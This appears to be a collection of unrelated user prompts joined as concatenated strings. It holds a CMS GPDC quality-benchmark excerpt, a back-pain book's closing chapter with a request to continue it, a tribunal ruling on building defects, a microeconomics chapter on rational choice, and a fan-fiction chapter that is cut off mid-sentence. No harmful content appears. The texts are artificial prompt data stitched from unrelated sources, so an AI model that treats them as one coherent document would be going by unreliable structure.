by comparing their Quality Measure scores with the relevant Quality Benchmark. The DCE earns a performance level for each measure based on where the measure score falls in comparison to the benchmark threshold values.\n\nTable 2-6 presents hypothetical Quality Benchmark distributions for Standard/New Entrant DCEs (using historical Medicare claims data) for both P4P measures. For example, a DCE with a measure score or risk-standardized readmission rate (RSRR) of 15.10% for ACR would be in the 50th percentile group for that measure (the score exceeds the threshold for the 60th percentile group but is less than the maximum threshold for the 50th percentile group). A DCE with a measure score or RSRR of 15.60% for ACR would be in the 20th percentile group for that measure (the score exceeds the threshold for the\n25th percentile group but is less than the maximum threshold for the 20th percentile group). A DCE with a measure score of 74.89 admissions per 100 person-years for UAMCC would be in the 10th percentile group (the score exceeds the threshold for the 15th percentile group but is less than the maximum threshold for the 10th percentile group).\n\nTable 2-6. Hypothetical Benchmark Distributions for ACR and UAMCC for Comparison with Standard and New Entrant DCE Measure Scores\n\nPercentile 5 10 15 20 25 30 40 50 60 70 80 90\nACR 16.34 15.99 15.79 15.68 15.57 15.47 15.31 15.18 15.08 14.95 14.82 14.6\nUAMCC 82.5 75.23 71.08 68.43 66.67 64.68 61.2 58.48 55.98 53.37 50.16 46.12\n\nPlease note that Table 2-6 presents an example only. These are not the final Quality Benchmarks and are not intended to provide an indication of the final Quality Benchmarks. Historically, Quality Benchmarks for other models have been released prior to the start of a given PY. However, observed and anticipated changes in utilization and outcomes resulting from coronavirus disease 2019 have made it inappropriate to use data from 2020 for Quality Benchmarking. Given the likelihood of ongoing impacts on current and future PYs, CMMI is taking a different approach for GPDC quality benchmarking.\n \n\nFor PY2021, GPDC Quality Benchmarks will not be released until June 2022 and will be based on a hybrid approach, combining historical and concurrent data from two discontinuous 12-month periods, the calendar years 2019 and 2021. A DCE’s Final Earn-Back Rate for PY2021 will be determined during final reconciliation, which will occur in 2023.\n\nFor PY2022, GPDC Quality Benchmarks will shift to being based only on data from the 12-month period concurrent with the performance year. Starting with the first quarterly quality report for PY2022, CMMI will provide provisional quality benchmarks to DCEs in their quarterly reports, which will be calculated based on data from the same reporting period (i.e., April 1, 2021-March 31, 2022 for PY2022 Q1). The provisional benchmarks will be updated in each subsequent quarterly report with data from the same period being used to calculate DCE’s performance. Because the DCE performance and benchmarks will be based on the same time-period and have the same exact risk adjustment coefficients, DCEs will have a more accurate picture from quarter to quarter of their performance relative to the benchmark. A DCE’s Final Earn-Back Rate for PY2022 will be based on quality benchmarks calculated using data from calendar year 2022 and will be determined during final reconciliation, which will occur in 2023. As with the hybrid approach for PY2021, the use of concurrent benchmarks for PY2022 will avoid potential coronavirus disease 2019 impacts.\n\n1.1.2 Step 2. Component Quality Scores Are Calculated: P4R Quality Measures Are Assessed, and P4P Quality Measures Are Compared against Their Quality Benchmarks to Determine Performance Levels\nP4R Component: For PY2022, 4% of the 5% Quality Withhold is associated with P4R. The claims-based measures of ACR, UAMCC, and DAH (for High Needs Population DCEs only) comprise 2% of the Quality Withhold, and the CAHPS Measure comprises 2%. There are therefore two Component Quality Scores associated with P4R, one for the claims-based measures, and one for CAHPS.\n• All DCEs will meet the requirement for the claims-based measures and automatically earn a Component Quality Score of 100% for the portion of the withhold tied to the P4R claims-based measures in Table 2-3.\n• All DCEs that authorize a survey vendor to conduct the CAHPS Survey will receive a P4R Component Quality Score for CAHPS of 100%. DCEs that do not authorize a survey vendor to conduct the CAHPS Survey will receive a P4R Component Quality Score for CAHPS of 0%. DCEs that are exempt from CAHPS will have a single P4R Component Quality Score of 100%.\nP4P Component: The PY2022 P4P component will be the same as PY2021, which combines the ACR and UAMCC measures. The highest performance level (i.e., percentile) achieved for either Quality Measure determines the P4P Component Quality Score. Furthermore, the P4P component is considered pass/fail—all DCEs with at least one measure at or exceeding the 30th percentile will pass and receive a 100% Component Quality Score.\n\nAs in PY2021, in PY2022, a sliding scale approach will be applied to DCEs that do not meet the 30th percentile threshold on at least one of the two measures. The sliding scale allows DCEs to earn back at\n \n\nleast a portion of the 1% withhold, based on their highest measure performance. The details of the sliding scales are presented in Table 2-7. In the example in Step 1 above, where a DCE achieved the 20th percentile for ACR and the 10th percentile for UAMCC, the DCE would receive a P4P Component Quality Score of 80%.\n\nTable 2-7. Sliding Scale Earn-Back for P4P Component Quality Score, PY2021 and PY2022\n\nPercentile Met P4P Component Quality Score\n≥ 30th 100%\n25th to < 30th 95%\n20th to < 25th 80%\n15th to < 20th 60%\n10th to < 15th 40%\n5th to < 10th 20%\n< 5th 0%\n1.1.3 Step 3. Component Quality Scores Are Weighted to Calculate the Total Quality Score\nAfter assessing P4R measures and determining performance levels for each P4P measure, CMS calculates Component Quality Scores for each DCE. The component weight is the proportion of the overall Quality Withhold tied to that component. In PY2022, there are three Component Quality Scores. The first component is P4P, based on ACR and UAMCC. The P4P component has a weight of 1/5, contributing 1% out of the 5% Quality Withhold. The second component is P4R for claims-based measures and has a weight of 2/5, contributing 2% out of the 5% Quality Withhold. The third component is P4R for CAHPS and has a weight of 2/5, contributing 2% out of the 5% Quality Withhold. Note that additional P4P components (such as DAH) will be added in subsequent years.\n\nThe Total Quality Score is the percentage of the Quality Withhold eligible for earn-back that a DCE will actually earn back based on its quality performance and reporting. The Total Quality Score is calculated as the sum of the products of the Component Quality Scores and component weights, as shown in the equation below.\n\nTotal Quality Score = ∑ (Component Quality Scores \\* Component Weights)\n\nIn our example above, the DCE receives a P4P Component Quality Score of 80% based on the sliding scale. The same DCE receives a P4R Component Quality Score for claims-based measures of 100%. This DCE also authorized a CAHPS Survey vendor, earning 100% of the P4R Component Quality Score for CAHPS. The P4P component has a weight of 1/5 and the P4R components each have a weight of 2/5. The Total Quality Score for this DCE is (80% \\* 1/5) + (100% \\* 2/5) + (100% \\* 2/5) = 96%.\n\n1.1.4 Step 4. Total Quality Score Is Multiplied by the Eligible Earn-Back Rate to Determine a DCE’s\nFinal Earn-Back Rate\nIn PY2022, the Eligible Earn-Back Rate will be 5% for all DCEs. A DCE with a Total Quality Score of 96% will have a Final Earn-Back Rate of 4.8%. A DCE’s Final Earn-Back Rate will be determined during final reconciliation, which will occur in 2023 for PY2022. The steps for the example described in this section, starting with Section 2.5, are summarized in Table 3-1.' +'this is chapter 20 of original book\n{CHAPTER TWENTY\n The Sacrum and Coccyx\n From Chris and Jeremy\nFrom Chris\nThe sacrum is the last section of the spine, the vestigial collection of vertebrae that are welded into one solid piece, down at the bottom. And the coccyx is the tippety-tip of the sacrum, the last bit of bone at the end of that long chain, which has been such a torment to you for so long. \nAnd this is the end of the book. The end of the long chain of chapters that we hope—with all our hearts—will deliver you from such torment forever. From now on, it’s up to you. Go back through the book, do the exercises, and change your behavior the way you know you should. Up to you now. \nMay I say, here at the end, that putting this book together has been great fun for Jeremy and me. It has taken more than a year, and it has been a ton of work. We hope it reads as if it were easy as pie, but it wasn’t. We worked like crazy to make it seem easy—and to make it truly accurate without driving you crazy. Don’t know how well we did on that, but we sure did try. And it was fun for a couple of reasons. First, from my point of view, Jeremy is awfully good company. He is deadly serious about his profession but he loves to laugh, too. And, God bless us, we think we’re funny. That helped a lot. On a slightly more serious note, learning all the stuff I had to learn about the back this past year was fascinating and a privilege. Interesting piece of machinery, the back, and Jeremy could not have been a better guide. \nFinally, both of us are true believers in this “revolution” I mentioned up front, and that is a tremendous help. The whole time we were digging away at this boring detail or that, we had the agreeable conviction that we were not just ink-stained wretches, noses to the page. We were centurions in the great war against cruel, needless pain. That helped a lot, too. \nBut the whole business won’t be satisfying to us if it doesn’t work, for you. And that takes me back to my one great worry, the one I mentioned before. \nI worry that we leave so much of this up to you, when we know that Americans just aren’t used to that. Americans are used to going to the magician/doctor. He has a look around, maybe does an MRI. And then hands us a prescription, or gives us a shot. Or sends us to his pal the back surgeon, who does some clever thing to make us all better. As we’ve said again and again, that’s not going to work here. You have to do it yourself—you have to do the exercise, make the changes. But the great question is, will you find the resolve to make it happen? Jeremy says he’s sure you will, because he knows your pain. He knows just how deep and sharp your motivation is. I hope he’s right. \nWhat we are urging is not really that hard; it is mostly just unfamiliar. And you surely have the resources and motivation to make it happen. I know you’re smart enough; you just read this darned book, after all. I know you are disciplined enough; you’ve been going to work all these years. And I know you care, because I know about your pain. Now just take those three things and reorient them a little. And save your life. Then spread the word and save your family, save the country. Get the ogre out of all our lives. It can and should be done. \nFrom Jeremy\nI can’t agree more with Chris’s words. He and I had such a great time writing this book, and we are both deeply optimistic about what it can do for you. As you well know by now, I am not the “word guy”; that’s Chris. So I will be uncharacteristically brief and just say I have seen this protocol work a thousand times in my practice. Now I want to see it work a million times, perhaps more than that, with this book. As we mentioned at the beginning, we want a revolution in back care in this country. Starting with you. We want to take this scourge out of all our lives. \nJEREMY’S RULES\n1\nStop doing dumb stuff.\n2\nBe still so you can heal.\n3\nBrace yourself.\n4\nCommit to your core.\n5\nUse the power in your posterior.\n6\nCrawl before you walk. Walk before you run.\n7\nStand tall for the long haul.\nAPPENDIX\nThe “Cheat Sheet”\nWe threw a lot at you in this book. In time, it will seem like second nature. When you get to that point, it may still be useful to have a simple guide to remind you where you are, what to do next, and so on. To that end, I give you this “cheat sheet” to summarize all the exercises we have told you to do and to tell you when to do them. Here is your daily and weekly plan.\nI strongly encourage you to read this book a few times a year. Trust me, you are trying to change lifelong habits and it’s very easy to default back to the old ways. Come back to the book and think through each exercise every so often. Avoid the trap of falling into those same bad habits that got you here in the first place. The book is the key to taking your life back and leaving the anxiety, stress, and pain of back problems in the past. In between readings of the book, there’s this Exercise Cheat Sheet. \nBasic Core Exercises\nThese exercises (see Chapter 10) should be done every day, and are best done in the morning after being out of bed for thirty minutes or so. Remember to do progressions or regressions as needed for each. Move on to the next progression of a particular exercise when and if you feel ready. Start with one circuit and work your way up to two full circuits in time, and make that your daily habit. In time, this will take you ten to fifteen minutes.\n1. Slow March with Neutral Spine with Shoulder Flexion\n2. The Bridge \n3. Crunch and Plank\n4. Dynamic Hamstring Stretch\n5. Side Plank\n6. Cat/Camel Mobilization\n7. “Bird Dog,” or Opposite Arm/Leg Extension\nGlute Strengthening Routine \nDo these exercises three times a week on nonconsecutive days in addition to your core routine. Start with two sets and work your way up to three in time. This will likely add an additional ten minutes or so on those three days a week that you do these. \n1. Hip Circles Do these first!\n2. Clamshell\n3. Quadruped Hip Extension\n4. Split Squat\n5. Squat\nTrigger Point Release\nDo this as needed. If you got noticeable improvement in back, hip, or leg pain after mastering this, do it prior to your glute workouts until it is no longer needed. \nStretches \nFollow up your glute routine with the following stretches from Chapter 17.\nThis will take three to four minutes.\n1. Hamstring Stretch\n2. Glute Stretch\n3. Piriformis Stretch\n4. Psoas Stretch\nTHE BACKFOREVER VIDEOS\nFor those of you who want to safely return to more demanding activities like weightlifting, skiing, golf, tennis, Pilates, yoga, etc., we invite you to become members of BackForever.com, where you will find hundreds of hours of detailed video instruction on these subjects. Visit BackForever.com to learn more. Enter this promo code to receive two free weeks of membership: YNYTRIAL.\nACKNOWLEDGMENTS\nThanks to Jeremy, first of all, for being such a joy to work with. Coauthorship is supposed to be hard. For me—especially in this book—it has been a joy. We worked mighty hard, but we laughed a lot too.\nJeremy and I have been blessed—and we know it—to have a superb editor in a smart, kind, diplomatic, literate Bruce Tracy at Workman. (That is a shortened list of attributes; Bruce was terrific. And he really got down into the weeds as well as the big picture. As good as they get.) And, as always, thanks to the wise and kind Suzie Bolotin, editor of the Younger Next Year® books and Uber-editor of this one. Heaven!\nLast, thanks to Bill Fabrocini, just about the smartest and most effective guy Jeremy and I know in the broad world of physical therapy and serious training. And about as nice a human being as I have ever met. Deep thanks, Bill.\n—C. C.\nI’d like to thank all of the people who have helped me become the clinician I am today. I’d like to thank Clinton Phillips, Michael Fox, Tim Powersmith, and Bill Fabrocini for their friendship, guidance, and the opportunities they have given me. Back pain has been one of the most misunderstood afflictions in modern society. Many of the concepts in this book are the result of the research and teaching of a handful of dedicated and pioneering individuals. There are many, but I would like to give special mention to Vladimir Janda, MD; David Simons, MD; Janet Travell, MD; Nikolai Bogduk, MD, PhD; and Stuart McGill, PhD. This book wouldn’t have been possible without your accomplishments. }\nRead the chapter 20 of original book that I sent you and save it in your memory. Then, based on this text of chapter 20 of original book and your own information, continue the text of chapter 20 of the new book as much as you like. morover, with explaining with deep learning to me as if i were 10 years old.The text should be completely scientific and academic and based on science World Day should be written and repetition should be avoided. that are not repetitive and related to this topic. this chapter of an original book that I gave you is just a starting point and he has the right to add relevant foliage to this section. based on chapter 20 of original book, you can start' +'This is the next part of my multiple messages. I will continue to send you further messages. If you understand then please say "acknowledged" Item 1 – Front facade\n\nThe first item complained of by the homeowner is that the front façade of the house was not constructed in accordance with the plans and specifications set out in the Contract, and that therefore there has been a breach of the warranty in s 18B(1)(a) of the Act.\n\nIt was not disputed by the respondent that the construction of the front façade departs from the architectural drawings which formed part of the Contract. The drawings depict a projection at the top of the front façade forming a parapet over a window identified in the drawings as W4. The parapet has not been constructed and instead an aluminium shade hood has been installed.\n\nThe homeowner says that he did not agree to this variation and that the variation did not have development consent.\n\nThis reasoning is problematic for a number of reasons.\n\nFirstly the evidence does not establish that development approval was required for this relatively minor change. The homeowner’s expert Mr Nakhla asserted that in his experience as a builder such a change would require development approval. The builder’s expert Mr Coombes asserted that in his opinion a minor change of this nature would not require development approval. Neither expert has expertise in planning regulation and law and no evidence from such an expert was provided.\n\nMoreover, Mr Nakhla’s own evidence given under cross-examination was that the development was ultimately approved by a certifier and an occupancy certificate was issued.\n\nHaving considered the available evidence, I am not satisfied that the modification of the front façade required planning approval.\n\nIn any event, the evidence establishes that the homeowner approved the change. In this regard Mr Taki relies on the following email exchange which he says occurred between the parties on 6 March 2020:\n\nMr Taki: I am just confirming that we are replacing the small louvre roof over window 4 with an aluminium shade-hood. This for both window 4 and sliding door 1 … can you please confirm this change as we are liable to pay a deposit. Once you have agreed to this replacement it is final…”\n\nMr Bahboota: Hi Adam, thanks for your email. As discussed, I am confirming.\n\nA copy of the email exchange is attached to the Coombes’ Report.\n\nThe homeowner did not present any evidence refuting that this email exchange took place, and did not cross-examine Mr Taki in relation to his evidence in this regard. I accept Mr Taki’s evidence and am satisfied that this exchange between the parties took place\n\nClause 14 of the Contract (which is in the form of the Master Builders Association BC 4 standard form contract) deals with variations to the work to be done under the Contract. Interpretation of that clause was discussed in detail in Paraiso v CBS Build Pty Ltd [2020] NSWSC 190 (Paraiso) at [32]-[57] and [60]. The Court found that Clause 14(d)(i) is to the same effect as cl 1(2) of Pt 1 of Sch 2 of the Act, which is statutorily imported under s 7E. That is, any agreement to vary the contract, or the plans and specifications for work to be done under the contract, must be in writing signed by or on behalf of each party.\n\nThis interpretation is also consistent with clause 1(c)(ii) of the Contract.\n\nIn Paraiso the Court suggested at [60] and at [62] that variations to a building contract which do not bear a handwritten signature but which are transmitted by email may nonetheless satisfy the requirements of the Electronic Transactions Act 2000 (NSW). Sections 8 and 9 of that Act relevantly provide:\n\n8 Writing\n\n(1) If, under a law of this jurisdiction, a person is required to give information in writing, that requirement is taken to have been met if the person gives the information by means of an electronic communication, where—\n\n(a) at the time the information was given, it was reasonable to expect that the information would be readily accessible so as to be useable for subsequent reference, and\n\n(b) the person to whom the information is required to be given consents to the information being given by means of an electronic communication.\n\n…\n\n9 Signatures\n\n(1) If, under a law of this jurisdiction, the signature of a person is required, that requirement is taken to have been met in relation to an electronic communication if—\n\n(a) a method is used to identify the person and to indicate the person’s intention in respect of the information communicated, and\n\n(b) the method used was either—\n\n(i) as reliable as appropriate for the purpose for which the electronic communication was generated or communicated, in the light of all the circumstances, including any relevant agreement, or\n\n(ii) proven in fact to have fulfilled the functions described in paragraph (a), by itself or together with further evidence, and\n\n(c) the person to whom the signature is required to be given consents to that requirement being met by way of the use of the method mentioned in paragraph (a).\n\nUnder section 5 of the Electronic Transactions Act “consent” is defined to include “consent that can reasonably be inferred from the conduct of the person concerned, but does not include consent given subject to conditions unless the conditions are complied with”.\n\nIt is also relevant in this regard to refer to clause 30 of the Contract which states:\n\nAll notices (and/or other documents) will be deemed to have been given, received or served if sent to the other party at the relevant address, email address or facsimile number nominated in the Contract or the address last communicated in writing to the person giving the notice.\n\nThe email address provided for the homeowner in the Contract is Mr Bahboota’s email address.\n\nGiven the current prevalence of email communication as a preferred means of communication, and that the Contract specifically permits provision of notices by email, I am satisfied that the email exchange of 6 March 2020 satisfies the requirements of s 8 of the Electronic Transactions Act and that the exchange of emails on 6 March 2020 detailed the proposed variation to the plans in writing.\n\nConsidering now the requirement for the agreed variation to be signed:\n\nThe use of email as contemplated by the Contract, together with the wording of Mr Taki’s email, and in particular the words “Can you please confirm this change, as we are liable to pay a deposit. Once you have agreed to this replacement, it is final”, together in my view satisfy the requirements of s 9(1)(a) and 9(1)(b)(i) of the Electronic Transactions Act.\n\nAlthough neither party specifically stated that they consented to the requirement for a signature being met by way of the email exchange, it can be reasonably inferred from the conduct of the parties (including in particular the statement in Mr Taki’s email “Once you have agreed to this replacement it is final” and the homeowner’s response “I am confirming”), that both parties consented, for the purposes of s 9(1)(c), to the requirement for a signature being met by way of the email exchange,\n\nand that therefore the email exchange satisfies the requirement for a signature of each party.\n\nFor these reasons I am satisfied that pursuant to the exchange of emails on 6 March 2020, the parties consented to vary the plans and specifications attached to the Contract insofar as they related to the front façade parapet, and that the exchange of emails satisfied the requirements of the Contract and of the Act that the variation be detailed in writing signed by or on behalf of the parties.\n\nThere is no evidence which establishes that the works done by the builder are inconsistent in any way with the variation detailed in the exchange of emails (and indeed Mr Nakhla conceded during cross-examination that although he had not taken any measurements of the shade-hood, visually it appeared consistent with what was agreed in the email exchange).\n\nAccordingly, I am not satisfied that the works were not done in accordance with the plans and specifications set out in the contract and therefore this part of the claim fails.\n\nI would add that even if the analysis above was incorrect, and there was no valid variation to the plans and specifications for the front facade, I would nonetheless have declined to make the work order sought by the homeowner. Under s 48O of the Act, the Tribunal is empowered to make any one or more of a range of orders when determining a building claim “as it considers appropriate”. In this case:\n\nThe builder asked the homeowner, in the 6 March exchange of emails, to confirm his consent to the variation;\n\nThe homeowner was on notice that once he consented, the builder would consider the change final and would be outlaying a deposit for the new shade hood;\n\nThe homeowner represented to the builder that he consented to the variation;\n\nThe builder proceeded to build the façade in accordance with the 6 March email exchange and with no objection from the homeowner until well after the dwelling had been constructed;\n\nThe builder relied on the homeowner’s representation and built the façade accordingly;\n\nThere is no evidence that the change requires development approval;\n\nThe works proposed by the homeowner to change the façade to conform with the original drawings are not trivial. Mr Nakhla estimates a cost of $42,194 for this work and Mr Coombes estimates $10,239.\n\nConsidering all of the circumstances, in my view it would be inappropriate to compel the builder to incur the cost of changing the front façade.\n\nItem 2 – Water ingress to garage\n\nThe parties’ experts agree that there is water penetration into the garage ceiling which requires rectification, but disagree as to the source of the water ingress and the appropriate method of rectification.\n\nThe experts also agree that once the defects are rectified, the garage ceiling will need to be patched and repaired.\n\nMr Nakhla says that he has identified the following defects in the construction of the garage roof:\n\nThe far left garage downpipe in box gutter has no sump and the pipe is installed flush with the box gutter;\n\nOn the far right side over the garage there are large visible gaps at the junctions of the masonry column and stone cladding;\n\nThere is no water stop angle behind the sliding doors (required by AS 4654.2) and no overflow provision installed to the enclosed balcony.\n\nWith regard to the installation of the far left garage downpipe and absence of a sump, the Nakhla Report provides no explanation as to why these issues render the installation of the pipework defective, and no explanation as to why Mr Nakhla has formed the view that these issues have resulted in water ingress. For example, the report does not refer to any relevant standard or code requirement, nor any other literature or materials used to support Mr Nakhla’s opinion (other than photographs), and the report identifies no tests or investigations conducted to establish that these issues have resulted in water ingress.\n\nSimilarly, with regard to the gaps observed at the junctures of the cladded wall and the rendered masonry, the report does not contain any measurements or other data, or any reference to industry standards or code requirements, which support Mr Nakhla’s conclusion that the gaps constitute defects. Moreover, there is no reliable evidence that the gaps have caused the water ingress. In particular, there is no evidence of tests or investigations carried out by Mr Nakhla in this regard and indeed there is no evidence at all which shows that the gaps penetrate further than the surface of the wall.\n\nIn short, Mr Nakhla’s evidence in relation to the first two of these issues do not establish the facts on which his opinions are based in order that I can be satisfied that there is a proper foundation for his opinion that those aspects of the garage roof are defective: see Makita (Aust) Pty Ltd v Sprowles (2001) 52 NSWLR 705; [2001] NSWCA 305 at [85] (Makita).\n\nWith regard to the water stop angle, Mr Coombes says that it is not possible to state conclusively that there is no water stop angle alongside the door frame. He says it is possible that the water stop angle is concealed by the timber strip which has been installed alongside the door frame. He also refers to a copy of a waterproofing certificate certifying that the work has been done in accordance with AS 3740 (although no copy of the relevant standard has been provided).\n\nMr Coombes was not cross-examined in relation to this evidence and no persuasive explanation was given by Mr Nakhla as to why he does not agree that the water stop angle may be concealed. Having considered the evidence of both experts in relation to this matter, I am satisfied that it is possible that the water stop angle is concealed by the timber strip identified by Mr Coombes and therefore am not satisfied that the builder has failed to install a water stop angle.\n\nMr Coombes says that there are no emergency overflow provisions to the enclosed balcony or the two box gutters at either end of the balcony. He also says that the water damage to the garage ceiling at the southern end is due to the installation of the outlet pipe which is immediately above this location. He says there is no flange around the top of the outlet pipe and consequently water can travel down the outside of the pipe as well as down the inside.\n\nMr Coombes recommends an invasive inspection of the pipework within the ceiling void so that it can be inspected for leaks at the joins. He also recommends installation of a flange around the top of the outlet pipe and installation of 50 mm emergency overflow pipes through the masonry walls of both box gutters and the enclosed balcony.\n\nMr Coombes was not cross-examined about his evidence in relation to any of these matters. Moreover, his report provides a more detailed explanation of the facts and observations on which his opinions regarding the water ingress are based, so that I am comfortably satisfied that there is a proper foundation for his opinions in relation to these matters.\n\nFor these reasons I prefer Mr Coombes’ evidence in relation to the cause of the water ingress and the method of rectification and am making an order that rectification works to the garage roof be done in accordance with the scope of works in the Coombes Report.' +'2 Choice\n2.1 Choice and rational choice\nIn the previous chapter we discuss an individual’s preference relation, a formal\nconcept that describes his mental attitude to all relevant alternatives. We now\ndevelop a formal tool to describe an individual’s behavior. The two concepts,\npreferences and choice, are building blocks of the economic models we develop\nlater.\nRecall that the notion of a preference relation refers only to the individual’s\nmental attitude, not to the choices he may make. In this chapter, we describe a\nconcept of choice, independently of preferences. This description specifies his\ndecision in any possible choice problem he may confront within the context we\nare modeling. Suppose, for example, that we want to model a worker who is\napplying for a job. Then a complete description of his behavior specifies not\nonly which job he chooses if all jobs in the world are open to him, but also his\nchoice from any subset of jobs that he might be offered.\nFormally, let X be the set of all the alternatives an individual might face. A\nchoice problem is a nonempty subset A of X, from which the individual chooses\nan alternative. A choice function describes the individual’s choice for every possible choice problem.\nDefinition 2.1: Choice problem and choice function\nGiven a set X, a choice problem for X is a nonempty subset of X and a\nchoice function for X associates with every choice problem A ⊆ X a single\nmember of A (the member chosen).\nUsually in economics we connect the individual’s behavior and his mental\nattitude by assuming that the individual is rational in the sense that\n• he has a preference relation over X\n• whenever he has to make a choice, he is aware of the set of possible alternatives\n• he chooses an alternative that is best according to his preference relation\nover the set of possible alternatives.\nChapter of Models in Microeconomic Theory by Martin J. Osborne and Ariel Rubinstein. Version 2020.12.21 (h).\n\nc 2020 Martin J. Osborne and Ariel Rubinstein CC BY-NC-ND 4.0. https://doi.org/10.11647/OBP.0204.02\n17\n18 Chapter 2. Choice\nNote that this model of rationality does not make any assumptions about the\ncontent of the individual’s preferences. His preferences might be “irrational” in\nthe everyday sense of the word and be inconsistent with what he, or we, would\nconsider to be his well-being. For example, an individual who chooses an alternative that causes him the greatest pain (measured in some way) is rational in\nthe sense we have defined.\nIf the preference relation of an individual is represented by the utility function\nu, then the individual acts as if he maximizes the function u under the constraint\nthat x ∈ A. Formally we write his problem as\nmax{u(x) : x ∈ A}.\nNote that if two individuals have two different strict preference relations and,\ngiven any set A choose alternatives in A that are best according to these preference relations, then their corresponding choice functions differ. That is, if for\ntwo alternatives x and y one individual prefers x to y and the other prefers y to\nx, then the choice function of the first individual assigns x to the problem {x,y }\nand the choice function of the second individual assigns y to this set.\n\n2.2 Rationalizing choice\nHuman beings usually do not consciously maximize a preference relation when\nthey make decisions. The standard justification for modeling individuals as rational is that although individuals rarely explicitly choose the best alternatives\naccording to their preference relations, their behavior can often be described as\nif they make choices in this way. Individuals do not have to be aware of their\npreference relations. The assumption that they maximize some preference relation is appropriate as long as we can describe them as if they behave in this way.\nAccordingly, we make the following definition.\nDefinition 2.2: Rationalizable choice function\nA choice function is rationalizable if there is a preference relation such that\nfor every choice problem the alternative specified by the choice function\nis the best alternative according to the preference relation.\nNotice that this definition requires that the alternative chosen from any set is\nthe unique best alternative. If we were to require only that it is a best alternative,\nthen every choice function would be rationalizable by the preference relation in\nwhich all alternatives are indifferent. We return to the issue in Section 5.5.\n2.2 Rationalizing choice 19\nExample 2.1\nLet X = {a,b, c }. The choice function that assigns a to {a,b, c }, a to {a,b},\na to {a, c }, and b to {b, c } is rationalized by the preference relation ¼ for\nwhich a \x1f b \x1f c . That is, we can describe the behavior of an individual with this choice function as if he always chooses the best available\nalternative according to ¼.\nOn the other hand, any choice function that assigns a to {a,b}, c to\n{a, c }, and b to {b, c } is not rationalizable. If this choice function could be\nrationalized by a preference relation ¼, then a \x1f b, b \x1f c , and c \x1f a, which\ncontradicts transitivity.\nOf the 24 possible choice functions for the case in which X contains\nthree alternatives, only six are rationalizable.\nWe now give some examples of choice procedures and examine whether the\nresulting choice functions are rationalizable.\nExample 2.2: The median\nAn individual has in mind an ordering of the alternatives in the set X from\nleft to right. For example, X could be a set of political candidates and the\nordering might reflect their position from left to right. From any set A of\navailable alternatives, the individual chooses a median alternative. Precisely, if the number of available alternatives is odd, with a1 < a2 < ··· <\na2k+1 for some integer k , the individual chooses the single median ak+1,\nand if the number of alternatives is even, with a1 < a2 < ··· < a2k , then the\nindividual chooses ak , the leftmost of the two medians.\nNo preference relation rationalizes this choice function. Assume that\nA contains five alternatives, a1 < a2 < a3 < a4 < a5. From this set, he\nchooses a3. If he has to choose from {a3,a4,a5}, he chooses a4. If a preference relation ¼ rationalizes this choice function then a3 \x1f a4 from his first\nchoice and a4 \x1f a3 from his second choice, a contradiction.\nNote that the individual’s behavior has a rationale of a different type:\nhe always prefers the central option. But this rationale cannot be described in terms of choosing the best alternative according to a preference relation over the set of available alternatives. The behavior can\nbe rationalized if we view the set of alternatives to be the positions\nY = {median, one left of median, one right of median, two left of median,\ntwo right of median}. Then the first choice problem is Y and the second\nchoice problem is {one left of median, median, one right of median}. The\n20 Chapter 2. Choice\npreference relation ¼ given by\nmedian \x1f one left of median \x1f one right of median \x1f . . .\nrationalizes the choice function.\nExample 2.3: Steak and salmon\nLuce and Raiffa (1957, 288) give an example of a person entering a restaurant in a strange city.\nThe waiter informs him that there is no menu, but that this\nevening he may have either broiled salmon at $2.50 or steak\nat $4.00. In a first-rate restaurant his choice would have been\nsteak, but considering his unknown surroundings and the different prices he elects the salmon. Soon after the waiter returns from\nthe kitchen, apologizes profusely, blaming the uncommunicative\nchef for omitting to tell him that fried snails and frog’s legs are also\non the bill of fare at $4.50 each. It so happens that our hero detests\nthem both and would always select salmon in preference to either,\nyet his response is “Splendid, I’ll change my order to steak”.\nConsider a set X that consists of the four main courses, salmon, steak,\nsnails, and frog’s legs. No preference relation over X rationalizes the person’s behavior, because such a preference relation would have to rank\nsalmon above steak by his choice from {salmon, steak} and steak above\nsalmon by his choice from X.\nA reasonable explanation for the person’s behavior is that although\nsteak appears in both choice problems, he does not regard it to be the\nsame dish. The availability of snails and frog’s legs tells him that the steak\nis likely to be of high quality. Without this information, he views steak as\nlow quality and chooses salmon.\nNo preference relation on X rationalizes the person’s behavior,\nbut a preference relation on {salmon, low quality steak, high quality steak,\nsnails, frog’s legs} does so:\nhigh quality steak \x1f salmon \x1f low quality steak \x1f snails \x1f frog’s legs.\nAn underlying assumption behind the concept of a choice function is that\nan alternative is the same in every choice set in which it appears. The choice\nfunction in the example cannot be rationalized because the example identifies\ntwo different options as the same alternative.\n2.3 Property α 21\nExample 2.4: Partygoer\nEach of the people in the set X = {A, B1, B2} organizes a party. A person\nmight be invited to a subset of those parties and can attend only one party.\nIndividuals B1 and B2 are both good friends of the partygoer but the relations between B1 and B2 are tense. The person’s behavior is as follows.\nIf he is invited by A and B1, he accepts B1’s invitation. If he is invited by\nall three individuals, he accepts A’s invitation. He does so because he is\nworried that accepting the invitation of B1 or B2 will be interpreted negatively by the other individual. Obviously such behavior is not rationalizable by a preference relation over X. As in the previous example, the meaning of choosing one alternative (B1) is affected by the presence or absence\nof another alternative (B2).' +'Here is a full chapter 8:\n\nCHAPTER 8\nThe Battle for Liyue\nFilon was walking through the crowded streets of Liyue when he suddenly collided with someone, causing them both to stumble. He reached out to steady the person and saw that it was Yanfei, the premier legal advisor of Liyue.\n"I\'m sorry," Filon said, feeling flustered. "I didn\'t see you there."\nYanfei looked at him with her bright teal-green eyes. "It\'s okay," she said, her voice laced with suspicion. "But I can\'t help but notice that you have a very unique aura about you."\nFilon\'s heart skipped a beat. He had always been careful to keep his powers hidden, but it seemed that Yanfei had noticed something.\n"What do you mean?" Filon asked, trying to play it cool.\n"I know what you did," Yanfei said, her voice low and serious. "I know that you killed Hu Tao, and I can\'t just let that go."\nFilon\'s heart sank. He had only wanted to break free from "the border," but he had never meant to hurt anyone.\n"Please," Filon begged. "I don\'t want to hurt anyone. I just wanted to be free."\nYanfei shook her head. "I can\'t just let this go," she said firmly. "I have to report this to Zhongli and Ningguang. It\'s my duty as a legal advisor."\nFilon knew he couldn\'t stop her. He watched in despair as Yanfei walked away, determined to expose his secret to the world.\nFilon stood nervously as Yanfei finished recounting the story of how he had discovered Filon\'s powers and the events leading up to Hu Tao\'s death. Zhongli and Ningguang listened intently, their expressions impassive as they absorbed the information.\n"I see," Zhongli said finally, his voice low and measured. "It is fortunate that you came to us with this information, Yanfei. We will have to be more cautious around Filon from now on."\nNingguang nodded. "Indeed. It is clear that Filon\'s powers are beyond what we had previously thought. We must be careful not to underestimate him in the 